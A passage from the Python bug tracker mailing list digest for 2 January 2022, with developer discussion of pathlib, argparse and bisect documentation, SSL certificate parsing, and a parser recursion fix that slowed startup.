_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 13:34:00 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 02 Jan 2022 18:34:00 +0000 Subject: [issue46196] documentation for cmd library should include columnize() function In-Reply-To: <1640817357.67.0.539360584483.issue46196@roundup.psfhosted.org> Message-ID: <1641148440.72.0.56367786287.issue46196@roundup.psfhosted.org> ?ric Araujo added the comment: Done, cheers! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 13:34:12 2022 From: report at bugs.python.org (Stanislav Zmiev) Date: Sun, 02 Jan 2022 18:34:12 +0000 Subject: [issue46227] add pathlib.Path.walk method Message-ID: <1641148452.74.0.627954460368.issue46227@roundup.psfhosted.org> New submission from Stanislav Zmiev : Pathlib is great, yet every time I have to parse a bunch of files, I have to use os.walk and join paths by hand. That's not a lot of code but I feel like pathlib should have higher-level abstractions for all path-related functionality of os. I propose we add a Path.walk method that could look like this: def walk(self, topdown=True, onerror=None, followlinks=False): for root, dirs, files in self._accessor.walk( self, topdown=topdown, onerror=onerror, followlinks=followlinks ): root_path = Path(root) yield ( root_path, [root_path._make_child_relpath(dir_) for dir_ in dirs], [root_path._make_child_relpath(file) for file in files], ) Note: this version does not handle a situation when top does not exist (similar to os.walk that also doesn't handle it and just returns an empty generator) ---------- components: Library (Lib) messages: 409511 nosy: Ovsyanka priority: normal severity: normal status: open title: add pathlib.Path.walk method type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 13:42:28 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 02 Jan 2022 18:42:28 +0000 Subject: [issue46005] [doc] replace 'distutils' examples with 'setuptools' In-Reply-To: <1638864537.57.0.967787312853.issue46005@roundup.psfhosted.org> Message-ID: <1641148948.6.0.916906292099.issue46005@roundup.psfhosted.org> ?ric Araujo added the comment: Distutils is deprecated, and core Python docs are not the place to show how to use a specific build system (thanks to a lot of work, we now have multiple viable build systems!). ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 14:00:25 2022 From: report at bugs.python.org (Barney Gale) Date: Sun, 02 Jan 2022 19:00:25 +0000 Subject: [issue46227] add pathlib.Path.walk method In-Reply-To: <1641148452.74.0.627954460368.issue46227@roundup.psfhosted.org> Message-ID: <1641150025.94.0.336325901474.issue46227@roundup.psfhosted.org> Change by Barney Gale : ---------- nosy: +barneygale _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 14:18:36 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 02 Jan 2022 19:18:36 +0000 Subject: [issue46218] Change long_pow() to sliding window algorithm In-Reply-To: <1641001599.99.0.180996324134.issue46218@roundup.psfhosted.org> Message-ID: <1641151116.2.0.933532908794.issue46218@roundup.psfhosted.org> Tim Peters added the comment: New changeset 863729e9c6f599286f98ec37c8716e982c4ca9dd by Tim Peters in branch 'main': bpo-46218: Change long_pow() to sliding window algorithm (GH-30319) https://github.com/python/cpython/commit/863729e9c6f599286f98ec37c8716e982c4ca9dd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 14:20:45 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 02 Jan 2022 19:20:45 +0000 Subject: [issue46218] Change long_pow() to sliding window algorithm In-Reply-To: <1641001599.99.0.180996324134.issue46218@roundup.psfhosted.org> Message-ID: <1641151245.57.0.498401437407.issue46218@roundup.psfhosted.org> Change by Tim Peters : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 14:43:00 2022 From: report at bugs.python.org (Stanislav Zmiev) Date: Sun, 02 Jan 2022 19:43:00 +0000 Subject: [issue46227] add pathlib.Path.walk method In-Reply-To: <1641148452.74.0.627954460368.issue46227@roundup.psfhosted.org> Message-ID: <1641152580.02.0.385896313075.issue46227@roundup.psfhosted.org> Stanislav Zmiev added the comment: Some people could suggest using Path.glob instead but I found it to be less convenient for some use cases and generally slower (~2.7 times slower). >>> timeit("list(Path('Lib').walk())", number=100, globals=globals()) 1.9074640140170231 >>> timeit("list(Path('Lib').glob('**/*'))", number=100, globals=globals()) 5.14890358998673 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 14:44:30 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 Jan 2022 19:44:30 +0000 Subject: [issue46224] doc: Fix bisect example using mutable function default In-Reply-To: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org> Message-ID: <1641152670.05.0.293200218206.issue46224@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 14:50:38 2022 From: report at bugs.python.org (Jade Lovelace) Date: Sun, 02 Jan 2022 19:50:38 +0000 Subject: [issue46228] argparse docs: default for prog= in ArgumentParser() should be basename of argv[0], not argv[0], to match behaviour Message-ID: <1641153038.74.0.113301629042.issue46228@roundup.psfhosted.org> New submission from Jade Lovelace : Currently the documentation for argparse.ArgumentParser states that the default value of the prog[ram] argument is argv[0], however, this does not match the actual behaviour of the constructor. In reality, the constructor uses the basename of argv[0], as can be seen in the code here: https://github.com/python/cpython/blob/e800dd1793dafbc4114da744f605731ff6630623/Lib/argparse.py#L1733-L1735 Here is a demo: /tmp ? cat test.py import argparse ap = argparse.ArgumentParser() print(ap.prog) ap.print_usage() /tmp ? python test.py test.py usage: test.py [-h] /tmp ? python ./test.py test.py usage: test.py [-h] /tmp ? mkdir test /tmp ? cd test /tmp/test ? python ../test.py test.py usage: test.py [-h] ---------- components: Library (Lib) files: test.py messages: 409515 nosy: lf- priority: normal pull_requests: 28549 severity: normal status: open title: argparse docs: default for prog= in ArgumentParser() should be basename of argv[0], not argv[0], to match behaviour type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 Added file: https://bugs.python.org/file50536/test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 14:59:26 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 Jan 2022 19:59:26 +0000 Subject: [issue46224] doc: Fix bisect example using mutable function default In-Reply-To: <1641113214.66.0.510722542802.issue46224@roundup.psfhosted.org> Message-ID: <1641153566.0.0.511041836838.issue46224@roundup.psfhosted.org> Raymond Hettinger added the comment: I'm going to decline this one. It seems that you're applying a stylistic guideline to a case where it isn't needed and where it doesn't improve the example. In this case, the example doesn't mutate the input, so the code is correct. It has some benefit in that it communicates to the user of the function that lists are allowable as an input (which is the norm for bisect). And the tooltips will show the relationship between the grades can the cutpoints. Also, this isn't library code. A bisect example needs to focus on bisect rather than other concerns. This isn't the place to talk about the pattern of setting a default to None and then filling it in in the body of the code. Likewise, we wouldn't use this example to communicate / and * for positional-only and keyword-only args. Nor do we have a docstring or type signature. Instead, it shows how to write a lookup function using bisect() and that is all we want. Lastly, I'll note this example has been present for a long time and has proven itself effective in teaching people how bisect works. In particular, we want to make it obvious the relationship between the 5 grades and the 4 cut points. ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:00:42 2022 From: report at bugs.python.org (Jacob Nilsson) Date: Sun, 02 Jan 2022 20:00:42 +0000 Subject: [issue46227] add pathlib.Path.walk method In-Reply-To: <1641148452.74.0.627954460368.issue46227@roundup.psfhosted.org> Message-ID: <1641153642.84.0.287341848154.issue46227@roundup.psfhosted.org> Change by Jacob Nilsson : ---------- nosy: +ajoino _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:09:30 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Sun, 02 Jan 2022 20:09:30 +0000 Subject: [issue46228] argparse docs: default for prog= in ArgumentParser() should be basename of argv[0], not argv[0], to match behaviour In-Reply-To: <1641153038.74.0.113301629042.issue46228@roundup.psfhosted.org> Message-ID: <1641154170.4.0.322094129371.issue46228@roundup.psfhosted.org> Change by ?ric Araujo : ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python stage: -> patch review type: enhancement -> behavior versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:12:29 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Sun, 02 Jan 2022 20:12:29 +0000 Subject: [issue23952] cgi: Document the 'maxlen' member of the cgi module In-Reply-To: <1429034285.17.0.254053228622.issue23952@psf.upfronthosting.co.za> Message-ID: <1641154349.23.0.149475875512.issue23952@roundup.psfhosted.org> Change by Hugo van Kemenade : ---------- keywords: +patch nosy: +hugovk nosy_count: 4.0 -> 5.0 pull_requests: +28550 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30338 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:17:57 2022 From: report at bugs.python.org (sharewell) Date: Sun, 02 Jan 2022 20:17:57 +0000 Subject: [issue46196] documentation for cmd library should include columnize() function In-Reply-To: <1641148440.72.0.56367786287.issue46196@roundup.psfhosted.org> Message-ID: <8FD04AB2-F0DF-48B7-9010-F22B0E0646DF@sharewellnow.com> sharewell added the comment: Thank you! Jawed > On Jan 2, 2022, at 10:34 AM, ?ric Araujo wrote: > > > ?ric Araujo added the comment: > > Done, cheers! > > ---------- > resolution: -> fixed > stage: patch review -> resolved > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:19:23 2022 From: report at bugs.python.org (miss-islington) Date: Sun, 02 Jan 2022 20:19:23 +0000 Subject: [issue46228] argparse docs: default for prog= in ArgumentParser() should be basename of argv[0], not argv[0], to match behaviour In-Reply-To: <1641153038.74.0.113301629042.issue46228@roundup.psfhosted.org> Message-ID: <1641154763.45.0.409882764925.issue46228@roundup.psfhosted.org> Change by miss-islington : ---------- keywords: +patch nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +28551 pull_request: https://github.com/python/cpython/pull/30339 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:19:59 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 Jan 2022 20:19:59 +0000 Subject: [issue46228] argparse docs: default for prog= in ArgumentParser() should be basename of argv[0], not argv[0], to match behaviour In-Reply-To: <1641153038.74.0.113301629042.issue46228@roundup.psfhosted.org> Message-ID: <1641154799.57.0.0674619627937.issue46228@roundup.psfhosted.org> Raymond Hettinger added the comment: Thank you for the PR. ---------- nosy: +rhettinger resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:25:16 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 02 Jan 2022 20:25:16 +0000 Subject: [issue46229] CODE_OF_CONDUCT shadowing org default Message-ID: <1641155116.49.0.691257397106.issue46229@roundup.psfhosted.org> New submission from Nikita Sobolev : Problem: we have two CODE_OF_CONDUCT files. 1. In CPython: https://github.com/python/cpython/blob/main/CODE_OF_CONDUCT.md (last updated 3 years ago) 2. In Python org, default for all repos: https://github.com/python/.github/blob/master/CODE_OF_CONDUCT.md But, since CODE_OF_CONDUCT is an important document, I want to raise a discussion first. Should it be deleted from CPython repo? Pros: GitHub offers org-default and CODE_OF_CONDUCT will still be rendered in several places: - https://user-images.githubusercontent.com/4660275/147888475-f1bc5e79-078b-4ec7-9484-53b90373c3c9.png - https://user-images.githubusercontent.com/4660275/147888477-35c98df8-2730-4d9b-a568-76b6b46da015.png It will be also easier to edit a single-source-of-truth. For example, this commit was not back-ported to CPython: https://github.com/python/.github/commit/237d2151f18380c8146557febfe5858fe3f23232 Also, other repos like mypy / typeshed / typing use org-default CoC. Cons: some people might still miss that CPython has a CoC. This is a follow-up to: https://github.com/python/cpython/pull/30294 If others agree, I can send a PR to remove CPython's local copy of CoC. ---------- files: ?????? ?????? 2022-01-02 ? 23.19.15.png messages: 409519 nosy: Mariatta, sobolevn priority: normal severity: normal status: open title: CODE_OF_CONDUCT shadowing org default type: behavior versions: Python 3.11 Added file: https://bugs.python.org/file50537/?????? ?????? 2022-01-02 ? 23.19.15.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:27:53 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 02 Jan 2022 20:27:53 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641155273.06.0.893439767829.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: >It seems that the PR was merged without discussion about 85% regression in python_startup benchmark Ugh, that's quite bad. We measured performance impact in general and that was quite acceptable but seems that for startup this is quite sensitive :( There isn't many other ways we can do this that I can think of unfortunately, so we need to make a decision on what we care most here, unless someone has a better idea on how we can overcome the recursion problem. Adding Guido and Eric as they gave been working on startup quite a lot. ---------- nosy: +eric.snow, gvanrossum priority: normal -> release blocker status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:28:19 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 02 Jan 2022 20:28:19 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641155299.65.0.175866390384.issue46110@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +lukasz.langa versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:29:55 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Sun, 02 Jan 2022 20:29:55 +0000 Subject: [issue4849] instantiating and populating xml.dom.minidom.Element is cumbersome In-Reply-To: <1231182515.38.0.572857860756.issue4849@psf.upfronthosting.co.za> Message-ID: <1641155395.93.0.976245361434.issue4849@roundup.psfhosted.org> Hugo van Kemenade added the comment: Hi Mike, "patch review" means: "A patch or pull request exists, but it needs review. Any triager or core developer may do the review." https://devguide.python.org/triaging/#stage So we were waiting for someone to review patches listed above under the "Files" section (eg. issue4849_2.patch). But seeing as they're from 2012/2014, and development has now moved to GitHub, a pull request needs to be opened on GitHub instead. So I reckon you're good to go ahead and create a PR. ---------- nosy: +hugovk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:30:13 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 02 Jan 2022 20:30:13 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641155413.52.0.299919104201.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Guido, Eric, what are your thoughts here? The fix that I merged works by limiting the maximum recursion but seems that incrementing the recursion counter on every parser call makes quite a lot of impact on startup. Unfortunately if we revert the fix, we still have the problem that Python can segfault for certain inputs that overload the stack. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:36:28 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 Jan 2022 20:36:28 +0000 Subject: [issue46187] Optionally support rounding for math.isqrt() In-Reply-To: <1640633399.46.0.8152811809.issue46187@roundup.psfhosted.org> Message-ID: <1641155788.11.0.241158488092.issue46187@roundup.psfhosted.org> Raymond Hettinger added the comment: > divmod() allows easy emulation of any division rounding mode It could be used that way, but generally isn't. Please consider my original request. Adding a keyword argument is easy, clear, and has almost no mental overhead. It reads very well in code, `y = isqrt(x, 'ceil')` or `y = isqrt(x, 'round')`. The equivalents with isqrt_rem are awkward and don't read well (reminding me of my Fortran days). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:42:12 2022 From: report at bugs.python.org (Ethan Furman) Date: Sun, 02 Jan 2022 20:42:12 +0000 Subject: [issue23952] cgi: Document the 'maxlen' member of the cgi module In-Reply-To: <1429034285.17.0.254053228622.issue23952@psf.upfronthosting.co.za> Message-ID: <1641156132.92.0.547951765921.issue23952@roundup.psfhosted.org> Change by Ethan Furman : ---------- nosy: +ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:44:59 2022 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 Jan 2022 20:44:59 +0000 Subject: [issue46226] User specific paths added to System PATH environment variable In-Reply-To: <1641143588.09.0.0658438943586.issue46226@roundup.psfhosted.org> Message-ID: <1641156299.88.0.116440977799.issue46226@roundup.psfhosted.org> Change by Ned Deily : ---------- components: +Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:48:01 2022 From: report at bugs.python.org (Ned Deily) Date: Sun, 02 Jan 2022 20:48:01 +0000 Subject: [issue46229] CODE_OF_CONDUCT shadowing org default In-Reply-To: <1641155116.49.0.691257397106.issue46229@roundup.psfhosted.org> Message-ID: <1641156481.03.0.125109117281.issue46229@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 15:59:25 2022 From: report at bugs.python.org (Robert Einhorn) Date: Sun, 02 Jan 2022 20:59:25 +0000 Subject: [issue46230] NEWLINE* is missing in 'file' rule in PEG grammar Message-ID: <1641157165.95.0.528192951206.issue46230@roundup.psfhosted.org> New submission from Robert Einhorn : https://docs.python.org/3.10/reference/grammar.html # original grammar rule: file: [statements] ENDMARKER # suggested grammar rule: file: NEWLINE* [statements] ENDMARKER ---------- components: Parser messages: 409524 nosy: RobEin, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: NEWLINE* is missing in 'file' rule in PEG grammar versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 16:05:46 2022 From: report at bugs.python.org (Robert Einhorn) Date: Sun, 02 Jan 2022 21:05:46 +0000 Subject: [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs Message-ID: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> New submission from Robert Einhorn : Definition of invalid_double_starred_kvpairs PEG grammar rule is not found: https://docs.python.org/3.10/reference/grammar.html # PEG grammar rule: dict: | '{' [double_starred_kvpairs] '}' | '{' invalid_double_starred_kvpairs '}' ---------- components: Parser messages: 409525 nosy: RobEin, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: grammar rule definition is missing: invalid_double_starred_kvpairs versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 16:14:54 2022 From: report at bugs.python.org (Stanislav Zmiev) Date: Sun, 02 Jan 2022 21:14:54 +0000 Subject: [issue46227] add pathlib.Path.walk method In-Reply-To: <1641148452.74.0.627954460368.issue46227@roundup.psfhosted.org> Message-ID: <1641158094.92.0.616797536955.issue46227@roundup.psfhosted.org> Change by Stanislav Zmiev : ---------- keywords: +patch pull_requests: +28552 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30340 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 16:18:45 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 02 Jan 2022 21:18:45 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1641155413.52.0.299919104201.issue46110@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Let me have a look. May take a day, okay?-- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 16:26:53 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 02 Jan 2022 21:26:53 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641158813.7.0.357644809887.issue46110@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Let me have a look. May take a day, okay?-- Absolutely! There is no rush as the only close release IIRC is another alpha of 3.11. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 16:30:36 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 02 Jan 2022 21:30:36 +0000 Subject: [issue46230] NEWLINE* is missing in 'file' rule in PEG grammar In-Reply-To: <1641157165.95.0.528192951206.issue46230@roundup.psfhosted.org> Message-ID: <1641159036.95.0.0933349640843.issue46230@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I don't know what you mean with "it's missing". That is the actual rule used in the grammar: https://github.com/python/cpython/blob/8e75c6b49b7cb8515b917f01b32ece8c8ea2c0a0/Grammar/python.gram#L88 ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 16:31:52 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 02 Jan 2022 21:31:52 +0000 Subject: [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs In-Reply-To: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> Message-ID: <1641159112.56.0.791781606206.issue46231@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: invalid_* rules are not part of the official grammar as they are only used for error reporting. We need to update the peg grammar highlighter to exclude it ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 16:36:55 2022 From: report at bugs.python.org (Mariatta) Date: Sun, 02 Jan 2022 21:36:55 +0000 Subject: [issue46229] CODE_OF_CONDUCT shadowing org default In-Reply-To: <1641155116.49.0.691257397106.issue46229@roundup.psfhosted.org> Message-ID: <1641159415.42.0.211435447876.issue46229@roundup.psfhosted.org> Mariatta added the comment: Sounds good to me to use the org-level CoC file and removing the local CPython copy. Having a single source of truth will be valuable and reduce our maintenance burden. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 16:42:04 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 02 Jan 2022 21:42:04 +0000 Subject: [issue46231] grammar rule definition is missing: invalid_double_starred_kvpairs In-Reply-To: <1641157546.64.0.522464993129.issue46231@roundup.psfhosted.org> Message-ID: <1641159724.07.0.615986468758.issue46231@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +28553 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30341 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:00:13 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 02 Jan 2022 22:00:13 +0000 Subject: [issue37836] Support .as_integer_ratio() in fractions.Fraction In-Reply-To: <1565689279.74.0.17922836333.issue37836@roundup.psfhosted.org> Message-ID: <1641160813.01.0.849266202179.issue37836@roundup.psfhosted.org> Raymond Hettinger added the comment: I don't think this is a door we should open: >>> Fraction(3.5, 2.5) Fraction(7, 5) This currently raises a useful exception: TypeError: both arguments should be Rational instances That is especially helpful in avoiding cases like this: >>> Fraction(1.1, 3.3) Fraction(2476979795053773, 7430939385161318) If that output is desired, the two conversions should be explicit. >>> Fraction(1.1) / Fraction(3.3) Fraction(2476979795053773, 7430939385161318 I recommend rejecting this feature request as being more likely to be hazardous than helpful. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:03:19 2022 From: report at bugs.python.org (Kacper) Date: Sun, 02 Jan 2022 22:03:19 +0000 Subject: [issue46232] Client certificates with UniqueIdentifier in the subject break ssl.peer_certificate() Message-ID: <1641160999.16.0.149653140984.issue46232@roundup.psfhosted.org> New submission from Kacper : Currently all subject sets of a client certificate are treated as UTF8 strings using the ASN1_STRING_to_UTF8 function (https://github.com/python/cpython/blob/8d999cbf4adea053be6dbb612b9844635c4dfb8e/Modules/_ssl.c#L912), however RFC 5280 states that the UniqueIdentifier is of type BIT STRING. Passing a BIT STRING into the ASN1_STRING_to_UTF8 function seems to return -1 and subsequently fail a SSL handshake. Traceback (most recent call last): File "/usr/lib64/python3.6/asyncio/events.py", line 145, in _run self._callback(*self._args) File "/usr/lib64/python3.6/site-packages/tornado/platform/asyncio.py", line 138, in _handle_events handler_func(fileobj, events) File "/usr/lib64/python3.6/site-packages/tornado/iostream.py", line 702, in _handle_events self._handle_read() File "/usr/lib64/python3.6/site-packages/tornado/iostream.py", line 1471, in _handle_read self._do_ssl_handshake() File "/usr/lib64/python3.6/site-packages/tornado/iostream.py", line 1431, in _do_ssl_handshake if not self._verify_cert(self.socket.getpeercert()): File "/usr/lib64/python3.6/ssl.py", line 860, in getpeercert return self._sslobj.getpeercert(binary_form) File "/usr/lib64/python3.6/ssl.py", line 610, in getpeercert return self._sslobj.peer_certificate(binary_form) ssl.SSLError: unknown error (_ssl.c:959) (line 959 of _ssl.c corresponds to https://github.com/python/cpython/blob/8d999cbf4adea053be6dbb612b9844635c4dfb8e/Modules/_ssl.c#L914) https://github.com/pyca/cryptography/issues/3542 might be of interest for further discussion. ---------- assignee: christian.heimes components: SSL messages: 409532 nosy: christian.heimes, kacper priority: normal severity: normal status: open title: Client certificates with UniqueIdentifier in the subject break ssl.peer_certificate() type: behavior versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:04:39 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 02 Jan 2022 22:04:39 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641161079.79.0.720031292095.issue46110@roundup.psfhosted.org> Guido van Rossum added the comment: So if I understand the speed.python.org results correctly, the time to run `python -c pass` went way up, but the time for `python -S -c pass` did not go up significantly. Unfortunately the only machine I have access to is a Mac, and I cannot repro this result, using PGO/LTO. Could it be a Linux thing? Or due to something in the venv for pyperformance? Note that I am using a much simpler test script: Tools/scripts/startuptime.py. I have not yet succeeded in building and running pyperformance, mostly since the Python I build doesn't have SSL configured (I always forget the flag to use on my machine) and pyperformance insists on installing a bunch of stuff (including new versions of pip and setuptools, it seels). Can anyone repro the perf regression on their box? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:09:38 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 02 Jan 2022 22:09:38 +0000 Subject: [issue46229] CODE_OF_CONDUCT shadowing org default In-Reply-To: <1641155116.49.0.691257397106.issue46229@roundup.psfhosted.org> Message-ID: <1641161378.71.0.197744494836.issue46229@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28554 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30342 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:34:16 2022 From: report at bugs.python.org (miss-islington) Date: Sun, 02 Jan 2022 22:34:16 +0000 Subject: [issue41028] Move docs.python.org language and version switcher out of cpython In-Reply-To: <1592516133.76.0.0424010515361.issue41028@roundup.psfhosted.org> Message-ID: <1641162856.42.0.992579739995.issue41028@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +28555 pull_request: https://github.com/python/cpython/pull/30343 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:34:21 2022 From: report at bugs.python.org (miss-islington) Date: Sun, 02 Jan 2022 22:34:21 +0000 Subject: [issue41028] Move docs.python.org language and version switcher out of cpython In-Reply-To: <1592516133.76.0.0424010515361.issue41028@roundup.psfhosted.org> Message-ID: <1641162861.59.0.483119746077.issue41028@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28556 pull_request: https://github.com/python/cpython/pull/30344 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:48:26 2022 From: report at bugs.python.org (Tim Peters) Date: Sun, 02 Jan 2022 22:48:26 +0000 Subject: [issue46233] Minor speedup for bigint squaring Message-ID: <1641163706.78.0.392911165646.issue46233@roundup.psfhosted.org> New submission from Tim Peters : longobject.c's x_mul()'s special code for squaring gets kind of sloppy at the end of a digit pass, doing a useless add of 0 and an "extra" test for carry. Easily cleaned up. I think the underlying cause is that the HAC algorithm description it was modeled on was quite "hand wavy" about how badly, and exactly when, the carry can exceed a single digit. Things are better-behaved at the end of a digit pass. ---------- assignee: tim.peters components: Interpreter Core messages: 409534 nosy: tim.peters priority: normal severity: normal stage: needs patch status: open title: Minor speedup for bigint squaring type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 17:49:21 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 02 Jan 2022 22:49:21 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641163761.13.0.458824030059.issue46110@roundup.psfhosted.org> Guido van Rossum added the comment: Maybe it's Linux specific? I managed to run pyperformance and got this: ### python_startup ### Mean +- std dev: 23.2 ms +- 0.8 ms -> 23.4 ms +- 1.2 ms: 1.01x slower Not significant Note, I am not dismissing the report -- in fact it looks quite bad. But I am failing to reproduce it, which makes it harder to understand the root cause. :-( Maybe we can create a microbenchmark for this that just parses a large amount of code? Anyway, here's a random thought about why this might have such a big impact. Look at this snippet (found all over the parser.c file): if (p->level++ == MAXSTACK) { p->error_indicator = 